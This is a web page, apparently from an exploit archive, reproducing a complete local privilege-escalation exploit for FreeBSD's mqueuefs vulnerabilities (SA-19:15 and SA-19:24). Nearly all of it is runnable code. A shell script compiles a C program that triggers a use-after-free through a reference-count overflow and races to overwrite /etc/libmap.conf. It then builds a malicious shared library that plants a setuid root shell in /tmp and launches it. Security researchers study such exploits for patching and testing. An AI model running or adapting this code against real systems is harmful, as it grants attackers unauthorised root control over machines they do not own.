扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 556 557 558 559 560 561 562 563 564 565 566 567 568 569 570 571 572 573 574 575 576 577 578 579 580 581 582 583 584 585 586 587 588 589 590 591 592 593 594 595 596 597 598 599 600 601 602 603 604 605 606 607 608 609 610 611 612 613 614 615 616 617 618 619 620 621 622 623 624 625 626 627 628 629 630 631 632 633 634 635 636 637 638 639 640 641 642 643 644 645 646 647 648 649 650 651 652 653 654 655 656 657 658 659 660 661 662 663 664 665 666 667 668 669 670 671 672 673 674 675 676 677 678 679 680 681 682 683 684 685 686 687 688 689 690 691 692 693 694 695 696 697 698 699 700 701 702 703 704 705 706 707 708 709 710 711 712 713 714 715 716 717 718 719 720 721 722 723 724 725 726 727 728 729 730 731 732 733 734 735 736 737 738 739 740 741 742 743 744 745 746 747 748 749 750 751 752 753 754 755 |
# Exploit: FreeBSD-SA-19:15.mqueuefs - Privilege Escalation # Author: Karsten König of Secfault Security # Date: 2019-12-30 # Change line 719 to choose which vulnerability # is targeted # # libmap.conf primitive inspired by kcope's 2005 exploit for Qpopper # Exploit for FreeBSD-SA-19:15.mqueuefs and # FreeBSD-SA-19:24.mqueu #!/bin/sh echo "[+] Root Exploit for FreeBSD mqueuefs vulnerabilities" umask 0000 # libmap.conf has to exist because it is # the attacked file if [ ! -f /etc/libmap.conf ]; then echo "[!] libmap.conf has to exist" exit fi # Make a backup of the current libmap.conf # because it has to be reconstructed afterwards cp /etc/libmap.conf ./ # Write the exploit to a C file cat > exploit.c << EOF #include <errno.h> #include <fcntl.h> #include <pthread.h> #include <pthread_np.h> #include <signal.h> #include <stdlib.h> #include <stdio.h> #include <string.h> #include <unistd.h> #include <sys/cpuset.h> #include <sys/event.h> #include <sys/ioctl.h> #include <sys/param.h> #include <sys/socket.h> #include <sys/stat.h> #include <sys/syscall.h> #include <sys/sysctl.h> #include <sys/_types.h> #include <sys/types.h> #include <sys/un.h> #define N_OPEN 0x2 // Tweak NUM_THREADS and NUM_FORKS if // more RAM is available on the target // // These parameters were tested with // up to 16 GB of RAM on a dual-core // Intel based system #define N 1000000 #define NUM_THREADS 600 #define NUM_FORKS 3 #define FILE_SIZE 1024 #define CHUNK_SIZE 1 #define N_FILES 25 // These are temporary files // which are created during // exploitation #define SERVER_PATH "/tmp/sync_forks" #define DEFAULT_PATH "/tmp/pwn" #define HAMMER_PATH "/tmp/pwn2" // This is the attacked file #define ATTACK_PATH "/etc/libmap.conf" // These are parameters from the attack script #define HOOK_LIB "libutil.so.9" #define ATTACK_LIB "/tmp/libno_ex.so.1.0" // The exploit will stick some threads // to specific cores #define CORE_0 0 #define CORE_1 1 // Syscalls from mqueuefs #define KMQ_OPEN 457 #define KMQ_TIMEDSEND 460 // Taken from sys/mqueue.h struct mq_attr { longmq_flags; longmq_maxmsg; longmq_msgsize; longmq_curmsgs; long__reserved[4]; }; struct thread_data { int fd; int fd2; }; pthread_mutex_t write_mtx, trigger_mtx, count_mtx, hammer_mtx; pthread_cond_t write_cond, trigger_cond, count_cond, hammer_cond; // Both syscalls are indirectly called to be less reliable on // installed libraries int mq_open(const char *name, int oflag, mode_t mode, const struct mq_attr *attr) { int fd; fd = syscall(KMQ_OPEN, name, oflag, mode, attr); return fd; } void mq_timedsend(int fd, char *buf, size_t len, unsigned prio, const struct timespec *timeout) { syscall(KMQ_TIMEDSEND, fd, buf, len, prio, timeout); } // Convenience function to open temporary files int open_tmp(char *path) { int fd; char *real_path; if (path != NULL) { real_path = malloc(strlen(path) + 1); strcpy(real_path, path); } else { real_path = malloc(strlen(DEFAULT_PATH) + 1); strcpy(real_path, DEFAULT_PATH); } if ((fd = open(real_path, O_RDWR | O_CREAT, S_IRWXU)) == -1) { perror("[!] open"); } return fd; } // Convenience function to prepare a UNIX domain socket void prepare_domain_socket(struct sockaddr_un *remote, char *path) { bzero(remote, sizeof(struct sockaddr_un)); remote->sun_family = AF_UNIX; strncpy(remote->sun_path, path, sizeof(remote->sun_path)); } // Convenience function to bind a UNIX domain socket int bind_domain_socket(struct sockaddr_un *remote) { int server_socket; if ((server_socket = socket(AF_UNIX, SOCK_DGRAM, 0)) == -1) { perror("[!] socket"); exit(1); } if (bind(server_socket, (struct sockaddr *) remote, sizeof(struct sockaddr_un)) != 0) { perror("[!] bind"); exit(1); } return server_socket; } // Convenience function to connect to a UNIX domain socket int connect_domain_socket_client() { int client_socket; if ((client_socket = socket(AF_UNIX, SOCK_DGRAM, 0)) == -1) { perror("[!] socket"); exit(1); } return client_socket; } // Prevent panic at termination because f_count of the // corrupted struct file is 0 at the moment this function // is called but open file descriptors still points to the struct, // hence fdrop() is called at exit of the program and will raise a // kernel panic because f_count will be below 0 // // So we just use our known primitive to increase f_count void prevent_panic(int fd) { mq_timedsend(fd, NULL, 0, 0, (const struct timespec *)0x1); mq_timedsend(fd, NULL, 0, 0, (const struct timespec *)0x1); mq_timedsend(fd, NULL, 0, 0, (const struct timespec *)0x1); } // Convenience function to stick a thread to a CPU core int stick_thread_to_core(int core) { cpuset_t cpuset; CPU_ZERO(&cpuset); CPU_SET(core, &cpuset); pthread_t current_thread = pthread_self(); return pthread_setaffinity_np(current_thread, sizeof(cpuset_t), &cpuset); } // This function will trigger the use-after-free void *trigger_uaf(void *thread_args) { struct thread_data *thread_data; int fd, fd2; if (stick_thread_to_core(CORE_0) != 0) { perror("[!] [!] trigger_uaf: Could not stick thread to core"); } thread_data = (struct thread_data *)thread_args; fd = thread_data->fd; fd2 = thread_data->fd2; printf("[+] trigger_uaf: fd: %d\n", fd); printf("[+] trigger_uaf: fd2: %d\n", fd2); // The thread has to wait for the preparation of the // race condition printf("[+] trigger_uaf: Waiting for start signal from monitor\n"); pthread_mutex_lock(&trigger_mtx); pthread_cond_wait(&trigger_cond, &trigger_mtx); // This sleep parameter helps to render // the exploit more reliable // // Tweeking may be needed for the target system usleep(40); // Close two fds to trigger UaF // // This assumes that fget_write() in kern_writev() // was already successful! // // Otherwise kernel panic is triggered // // f_count = 2 (primitive+fget_write) close(fd); close(fd2); // f_count = 0 => free fd = open(ATTACK_PATH, O_RDONLY); // refcount = 1 // all fds do now point to the attacked path printf("[+] trigger_uaf: Opened read-only file\n"); printf("[+] trigger_uaf: Exit\n"); pthread_exit(NULL); } // This function will write to many invalid file streams // // This will eventually increase the number of dirty buffers // in the kernel and creates an exploitable race condition // for the Use-after-Free void *hammer(void *arg) { int i, j, k, client_socket; char buf[FILE_SIZE], sync_buf[3]; FILE *fd[N_FILES]; struct sockaddr_un remote; prepare_domain_socket(&remote, SERVER_PATH); client_socket = connect_domain_socket_client(); strncpy(sync_buf, "1\n", 3); // Open many files and unlink them directly // to render the file stream invalid for (i = 0; i < N_FILES; i++) { unlink(HAMMER_PATH); if ((fd[i] = fopen(HAMMER_PATH, "w+")) == NULL) { perror("[!] fopen"); exit(1); } } for (i = 0; i < FILE_SIZE; i++) { buf[i] = 'a'; } pthread_mutex_lock(&hammer_mtx); // Signal that the thread is prepared // // Sometimes sendto() fails because // no free buffer is available for (;;) { if (sendto(client_socket, sync_buf, strlen(sync_buf), 0, (struct sockaddr *) &remote, sizeof(remote)) != -1) { break; } } // Wait for the other hammer threads pthread_cond_wait(&hammer_cond, &hammer_mtx); pthread_mutex_unlock(&hammer_mtx); // Write to the file streams to create many dirty buffers for (i = 0; i < N; i++) { for (k = 0; k < N_FILES; k++) { rewind(fd[k]); } for (j = 0; j < FILE_SIZE*FILE_SIZE; j += CHUNK_SIZE) { for (k = 0; k < N_FILES; k++) { if (fwrite(&buf[j % FILE_SIZE], sizeof(char), CHUNK_SIZE, fd[k]) < 0) { perror("[!] fwrite"); exit(1); } } fflush(NULL); } } pthread_exit(NULL); } // This function monitors the number of // dirty buffers. // // If enough dirty buffers do exist, a // signal to the write and Use-after-Free // trigger thread is signalled to // execute the actual attack // // Works on UFS only void *monitor_dirty_buffers(void *arg) { int hidirtybuffers, numdirtybuffers; size_t len; len = sizeof(int); if (sysctlbyname("vfs.hidirtybuffers", &hidirtybuffers, &len, NULL, 0) != 0) { perror("[!] sysctlbyname hidirtybuffers"); exit(1); }; printf("[+] monitor: vfs.hidirtybuffers: %d\n", hidirtybuffers); while(1) { sysctlbyname("vfs.numdirtybuffers", &numdirtybuffers, &len, NULL, 0); if (numdirtybuffers >= hidirtybuffers) { pthread_cond_signal(&write_cond); pthread_cond_signal(&trigger_cond); printf("[+] monitor: Reached hidirtybuffers watermark\n"); break; } } pthread_exit(NULL); } // Check if the write to the attacked // path was successful int check_write(int fd) { char buf[256]; int nbytes; struct stat st; printf("[+] check_write\n"); stat(DEFAULT_PATH, &st); printf("[+] %s size: %lld\n", DEFAULT_PATH, st.st_size); stat(ATTACK_PATH, &st); printf("[+] %s size: %lld\n", ATTACK_PATH, st.st_size); nbytes = read(fd, buf, strlen(HOOK_LIB)); printf("[+] Read bytes: %d\n", nbytes); if (nbytes > 0 && strncmp(buf, HOOK_LIB, strlen(HOOK_LIB)) == 0) { return 1; } else if (nbytes < 0) { perror("[!] check_write:read"); printf("[!] check_write:Cannot check if it worked!"); return 1; } return 0; } // This function will execute the write operation // to the attacked path void *write_to_file(void *thread_args) { int fd, fd2, nbytes; int *fd_ptr; char buf[256]; struct thread_data *thread_data; struct mq_attr attrs; if (stick_thread_to_core(CORE_1) != 0) { perror("[!] write_to_file: Could not stick thread to core"); } fd_ptr = malloc(sizeof(int)); attrs.mq_maxmsg = 10; attrs.mq_msgsize = sizeof(int); thread_data = (struct thread_data *)thread_args; fd = thread_data->fd; fd2 = open(ATTACK_PATH, O_RDONLY); // Wait for the signal to execute the write operation printf("[+] write_to_file: Wait for signal from monitor\n"); pthread_mutex_lock(&write_mtx); pthread_cond_wait(&write_cond, &write_mtx); // Write to the temporary file // // During the write operation the exploit will trigger // the Use-after-Free and exchange the written file // with the attacked file to render a write to it snprintf(buf, 256, "%s %s\n#", HOOK_LIB, ATTACK_LIB); nbytes = write(fd, buf, strlen(buf)); // Reopen directly after write to prevent panic later // // After the write f_count == 0 because after trigger_uaf() // opened the read-only file, f_count == 1 and write() // calls fdrop() at the end // // => f_count == 0 // // A direct open hopefully assigns the now again free file // object to fd so that we can prevent the panic with our // increment primitive. *fd_ptr = mq_open("/pwn_mq", O_RDWR | O_CREAT, 0666, &attrs); if (*fd_ptr == -1) perror("[!] write_to_file: mq_open"); if (nbytes < 0) { perror("[!] write_to_file: write"); } else if (nbytes > 0) { printf("[+] write_to_file: We have written something...\n"); if (check_write(fd2) > 0) printf("[+] write_to_file: It (probably) worked!\n"); else printf("[!] write_to_file: It worked not :(\n"); } printf("[+] write_to_file: Exit\n"); pthread_exit(fd_ptr); } // This function prepares the Use-after-Free due to // a reference counter overflow void prepare(int fds[3]) { int fd, fd2, fd3, trigger_fd; u_int32_t i; struct mq_attr attrs; attrs.mq_maxmsg = 10; attrs.mq_msgsize = sizeof(int); printf("[+] Start UaF preparation\n"); printf("[+] This can take a while\n"); // Open a mqueue file fd = mq_open("/pwn_mq", O_RDWR | O_CREAT, 0666, &attrs); if (fd == -1) { perror("open"); exit(1); } // fp->f_count will be incremented by 1 per iteration due // to the bug in freebsd32_kmq_timedsend() // // That is, 0xfffffffe iterations will increment it to // 0xffffffff (f_count starts with 1 because of mq_open()) // // The bug is triggered because freebsd_kqm_timedsend will eventually // try to call copyin() with the pointer to address 0x1 which // is invalid for (i = 0; i < 0xfffffffe; i++) { // just a progress message, nothing special about the magic values if (i % 0x19999990 == 0) printf("[+] Progress: %d%%\n", (u_int32_t) (i / 0x28f5c28)); mq_timedsend(fd, NULL, 0, 0, (const struct timespec *)0x1); } // Every dup() increases fp->f_count by 1 // // Using dup() works because FreeBSD's mqueue implementation // is implemented by using file objects (struct file) internally. // // This circumvents an infinite loop in fget_unlocked() as dup() // does not use _fget() but fhold() to increase the counter. fd2 = dup(fd); if (fd2 == -1) { perror("dup"); exit(1); } fd3 = dup(fd); if (fd3 == -1) { perror("dup"); exit(1); } // Close the mqueue file to trigger a free operation // // The descriptors fd2 and fd3 will still point // to the freed object // // Opening another file will render these descriptors // to point the newly opened file close(fd); trigger_fd = open_tmp(NULL); fds[0] = trigger_fd; fds[1] = fd2; fds[2] = fd3; printf("[+] Finished UaF preparation\n"); } // This function will monitor that all // hammer threads are opened void read_thread_status(int server_socket) { int bytes_rec, count; struct sockaddr_un client; socklen_t len; char buf[256]; struct timeval tv; tv.tv_sec = 10; tv.tv_usec = 0; setsockopt(server_socket, SOL_SOCKET, SO_RCVTIMEO, (const char*)&tv, sizeof tv); for (count = 0; count < NUM_FORKS*NUM_THREADS; count++) { if (count % 100 == 0) { printf("[+] Hammer threads ready: %d\n", count); } bzero(&client, sizeof(struct sockaddr_un)); bzero(buf, 256); len = sizeof(struct sockaddr_un); if ((bytes_rec = recvfrom(server_socket, buf, 256, 0, (struct sockaddr *) &client, &len)) == -1) { perror("[!] recvfrom"); break; } } if (count != NUM_FORKS * NUM_THREADS) { printf("[!] Could not create all hammer threads, will try though!\n"); } } // This function will execute the whole exploit void fire() { int i, j, fd, fd2, fd3, bytes_rec, server_socket; int sv[2], fds[3], hammer_socket[NUM_FORKS]; int *fd_ptr; char socket_path[256], sync_buf[3], buf[256]; pthread_t write_thread, trigger_thread, monitor_thread; pthread_t hammer_threads[NUM_THREADS]; pid_t pids[NUM_FORKS]; socklen_t len; struct thread_data thread_data; struct sockaddr_un server, client; struct sockaddr_un hammer_socket_addr[NUM_FORKS]; // Socket for receiving thread status unlink(SERVER_PATH); prepare_domain_socket(&server, SERVER_PATH); server_socket = bind_domain_socket(&server); // Sockets to receive hammer signal for (i = 0; i < NUM_FORKS; i++) { snprintf(socket_path, sizeof(socket_path), "%s%c", SERVER_PATH, '1'+i); unlink(socket_path); prepare_domain_socket(&hammer_socket_addr[i], socket_path); hammer_socket[i] = bind_domain_socket(&hammer_socket_addr[i]); } strncpy(sync_buf, "1\n", 3); len = sizeof(struct sockaddr_un); if (socketpair(PF_UNIX, SOCK_STREAM, 0, sv) == -1) { perror("[!] socketpair"); exit(1); } pthread_mutex_init(&write_mtx, NULL); pthread_mutex_init(&trigger_mtx, NULL); pthread_cond_init(&write_cond, NULL); pthread_cond_init(&trigger_cond, NULL); // Create the thread to monitor the number of // dirty buffers directly in the beginning // to be ready when needed pthread_create(&monitor_thread, NULL, monitor_dirty_buffers, NULL); // Prepare the UaF using the 0day prepare(fds); fd = fds[0]; fd2 = fds[1]; fd3 = fds[2]; // Create the threads which will execute the exploit thread_data.fd = fd; thread_data.fd2 = fd2; pthread_create(&trigger_thread, NULL, trigger_uaf, (void *) &thread_data); pthread_create(&write_thread, NULL, write_to_file, (void *) &thread_data); for (j = 0; j < NUM_FORKS; j++) { if ((pids[j] = fork()) < 0) { perror("[!] fork"); abort(); } else if (pids[j] == 0) { // Close the file descriptors // becasue each fork will have an own reference // to the file object, thus increasing the // reference counter close(fd); close(fd2); close(fd3); pthread_mutex_init(&hammer_mtx, NULL); pthread_cond_init(&hammer_cond, NULL); // Create the hammer threads for (i = 0; i < NUM_THREADS; i++) { pthread_create(&hammer_threads[i], NULL, hammer, NULL); } printf("[+] Fork %d created all threads\n", j); // Wait for the signal to start hammering from the parent if ((bytes_rec = recvfrom(hammer_socket[j], buf, 256, 0, (struct sockaddr *) &client, &len)) == -1) { perror("[!] accept"); abort(); } // Broadcast to the hammer threads to // start hammering pthread_cond_broadcast(&hammer_cond); // Wait for the hammer threads for (i = 0; i < NUM_THREADS; i++) { pthread_join(hammer_threads[i], NULL); } pthread_cond_destroy(&hammer_cond); pthread_mutex_destroy(&hammer_mtx); exit(0); } else { printf("[+] Created child with PID %d\n", pids[j]); } } // Wait for the preparation of all hammer threads // in the forks. // // If all are prepared, send a signal to the childs // to start the hammering process to create dirty // buffers. read_thread_status(server_socket); printf("[+] Send signal to Start Hammering\n"); for (i = 0; i < NUM_FORKS; i++) { if (sendto(hammer_socket[i], sync_buf, strlen(sync_buf), 0, (struct sockaddr *) &hammer_socket_addr[i], sizeof(hammer_socket_addr[0])) == -1) { perror("[!] sendto"); exit(1); } } // Wait for all threads to finish pthread_join(monitor_thread, NULL); for (i = 0; i < NUM_FORKS; i++) { kill(pids[i], SIGKILL); printf("[+] Killed %d\n", pids[i]); } pthread_join(write_thread, (void **) &fd_ptr); pthread_join(trigger_thread, NULL); pthread_mutex_destroy(&write_mtx); pthread_mutex_destroy(&trigger_mtx); pthread_cond_destroy(&write_cond); pthread_cond_destroy(&trigger_cond); // Prevent a kernel panic prevent_panic(*fd_ptr); // fd was acquired from write_to_file // which allocs a pointer for it free(fd_ptr); } int main(int argc, char **argv) { setbuf(stdout, NULL); fire(); return 0; } EOF # Compile with -m32 to exploit FreeBSD-SA-19:24.mqueuefs cc -o exploit -lpthread exploit.c # cc -o exploit -m32 -lpthread exploit.c cat > program.c << EOF #include <unistd.h> #include <stdio.h> #include <sys/types.h> #include <stdlib.h> void _init() { if (!geteuid()) execl("/bin/sh","sh","-c","/bin/cp /bin/sh /tmp/xxxx ; /bin/chmod +xs /tmp/xxxx",NULL); } EOF # Compile the shared library object cc -o program.o -c program.c -fPIC cc -shared -Wl,-soname,libno_ex.so.1 -o libno_ex.so.1.0 program.o -nostartfiles cp libno_ex.so.1.0 /tmp/libno_ex.so.1.0 # Start the exploit # # su will execute the shared library object # that creates the shell binary copy echo "[+] Firing the Exploit" ./exploit su # Ensure that everything has worked # and execute the root-shell if [ -f /tmp/xxxx ]; then echo "[+] Enjoy!" echo "[+] Do not forget to copy ./libmap.conf back to /etc/libmap.conf" /tmp/xxxx else echo "[!] FAIL" fi |
体验盒子
